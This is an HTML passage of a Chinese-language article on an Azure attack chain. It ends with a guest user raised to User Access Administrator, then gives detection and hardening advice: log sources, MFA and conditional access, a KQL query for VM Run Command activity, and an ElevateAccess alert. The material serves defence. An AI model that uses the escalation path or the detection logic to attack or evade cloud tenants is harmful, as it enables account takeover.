src="https://wechat2rss.xlab.app/img-proxy/?k=9c5be6bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSiaqIywSxOq05iaEibNqGdFjdicluqwy568VJawEO672Ck7OOgveIH8XVxddgt4TZGq6H3C6diau344CqflQu6od7h31YSEjz0zvsao%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">提升为用户访问管理员</span></figcaption></figure><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">已认证状态 (用户访问管理员)</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">使用的工具：PowerShell、Az Module</span></p><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">24. 用户访问管理员确认</span></h4><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><img alt="访客用户作为用户访问管理员" class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012268" style="max-width: 100%;" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=4f50415d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSiaRDp84vciahE5uyykDgDGVJfxRtLkd8iaofibgEDic4If1sKgxN6UWvibMJRALylyviaPIFBuVyRRDX3B5DRgUoCgAfxK3wFMVibUz90%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption><span leaf="">访客用户作为用户访问管理员</span></figcaption></figure><h2 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">检测和改进安全性</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">以下章节将描述如何最小化您的 Azure 攻击面，并检测您的环境中是否曾发生过此类攻击。</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">介绍</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">几乎整条攻击链都可以通过 Azure 原生组件和第三方产品进行检测，或者通过遵循安全配置基线、最佳实践架构设计与实施来加以预防。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们不支持也不推荐任何特定产品，但我们强烈建议任何组织制定并创建路线图以建立适当的检测，同时保护其云基础架构。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们建议组织启用 Azure 中所有适用的审计和诊断功能，并且至少将这些日志摄取到 Log Analytics 工作区、Microsoft Sentinel 或通过事件中心传输到第三方 SIEM 产品。以下审计日志和诊断设置应作为最低要求启用和传输：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">Azure AD</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">审计日志</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">登录日志</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">非交互式用户登录日志</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">服务主体登录日志</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">托管标识登录日志</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">ADFS 登录日志</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">风险用户</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">用户风险事件</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Azure Monitor (管理平面)</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">管理</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">安全</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">警报</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">策略</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这些服务是您的租户和 Azure 资源基础的一部分，包含您的安全主体 (用户、组和服务主体)、Azure AD 加入或混合加入设备以及资源的所有必要信息。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">除此之外，我们强烈建议在您环境中的所有适用资源上启用诊断日志，并同样传输这些日志。这些资源可能包括：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">密钥保管库</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">Web 应用和函数应用</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">存储账户</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">虚拟机</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">SQL 服务器和数据库</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">自动化账户</span></p></li></ul><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">未认证状态</span></h3><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">改进安全性</span></h4><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">不要将任何数据从公开可用的存储账户暴露到互联网，除非数据本质上应该如此 (例如网站图片)</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">通过选定网络 (最好在 VNET 级别) 限制访问，或者更好地使用私有端点</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">在所有存储账户上强制安全传输并将最低 TLS 版本设置为 1.2</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">每 90 天轮换访问密钥，并利用 RBAC 的细粒度角色，如 &#34;Storage Blob Data Reader&#34; 和 &#34;Storage File Data SMB Share Reader&#34;</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">对所有用户强制 Azure 多因素身份验证，无论其角色和权限如何。我们建议通过条件访问策略启用 8 小时的会话策略，使用户每天只需进行一次 MFA 质询</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">通过条件访问策略限制对 Azure 与 Microsoft 365 企业资源的访问。这些策略至少应要求设备合规</span></p></li></ol><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">已认证状态 (Reader)</span></h3><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">检测</span></h4><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">在 Defender for Cloud 套件中启用 Defender for Resource Manager。当使用现成工具如 Microburst 和 PowerZure 攻击您的租户时，这将创建警报</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">发送访客邀请时发出警报，如果邀请已被接受则再次发出警报</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">对来自不熟悉位置和资源 (如 PowerShell) 的服务主体登录发出警报</span></p></li></ol><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">改进安全性</span></h4><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">不要将任何具有动态组成员资格的组范围设置为任何特权 RBAC 权限或 Azure AD 角色。此外，尽量不要创建任何依赖于普通用户可以确定或操作的属性的成员资格规则</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">不允许普通用户邀请访客用户到组织租户，将其留给租户管理员和特定的 Azure AD 角色。如果适用，考虑配置协作限制以专门允许来自特定域的邀请。这显然对某些组织可能适得其反</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">将虚拟机参与者委派给特定资源组，而不是整个订阅。遵循最小权限并将您的基础架构分离到着陆区域</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">不要在 runbooks 或一般代码中存储明文凭据和机密。从自动化账户利用托管标识</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">对已邀请到您租户的外部/访客账户进行适当的治理和清单。如果您有 Azure AD Premium P2，利用访问审查并自动化此任务</span></p></li></ol><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">已认证状态 (订阅上的虚拟机参与者)</span></h3><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">检测</span></h4><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px;"><p><span leaf="">查询并警报在虚拟机上启动的运行命令。KQL 示例查询：</span></p></li></ol><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">AzureActivity</span><br/><span leaf="">| where OperationName == &#34;Run Command on Virtual Machine&#34;</span><br/><span leaf="">| where ActivityStatus has_any (&#34;Succeeded&#34;, &#34;Accepted&#34;)</span><br/><span leaf="">| project TimeGenerated,</span><br/><span leaf="">    Resource,</span><br/><span leaf="">    ResourceGroup,</span><br/><span leaf="">    Caller,</span><br/><span leaf="">    CallerIpAddress,</span><br/><span leaf="">    ActivityStatus</span></code></pre><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1" start="2"><li style="margin: 0px;"><p><span leaf="">对向现有应用注册 (企业应用程序/服务主体) 新添加的凭据发出警报</span></p></li></ol><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">改进安全性</span></h4><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">配置条件访问策略，专门从合规或混合 azure ad 加入设备允许访问 Microsoft Azure 管理</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">应用最小权限，根据需要将存储账户参与者访问专门配置到存储账户或资源组</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">不要在与云 Shell 存储账户相同的资源组中存储其他资源，如其他存储账户</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">对所有普通和特权用户强制 Azure 多因素身份验证，包括此 &#34;AppOwner&#34;</span></p></li></ol><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">已认证状态 (管理组上的存储账户参与者)</span></h3><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">检测</span></h4><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px;"><p><span leaf="">当安全主体被委派全局管理员角色或任何其他特权 Azure AD 角色时，始终发出警报。可能来自正常的直接分配，或通过 Azure AD Privilege Identity Management 的合格分配</span></p></li></ol><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">改进安全性</span></h4><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px;"><p><span leaf="">对内部钓鱼活动的意识。此 Teams 消息是从带有缩短链接的服务主体发送的，这应该在收件人处引起红旗</span></p></li></ol><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">已认证状态 (Azure AD 租户中的全局管理员)</span></h3><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">检测</span></h4><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px;"><p><span leaf="">当 Defender for Cloud Apps 中出现全局管理员提升为用户访问管理员的事件时，创建自定义警报。查找以下活动类型：</span></p></li></ol><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span leaf="">Azure operation = ElevateAccess Microsoft.Authorization</span></code></pre><h4 style=" font-size: 16px;font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">改进安全性</span></h4><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px;"><p><span leaf="">配置条件访问策略，专门从专用云 PAW (特权访问工作站) 允许访问 Microsoft Azure 管理</span></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span 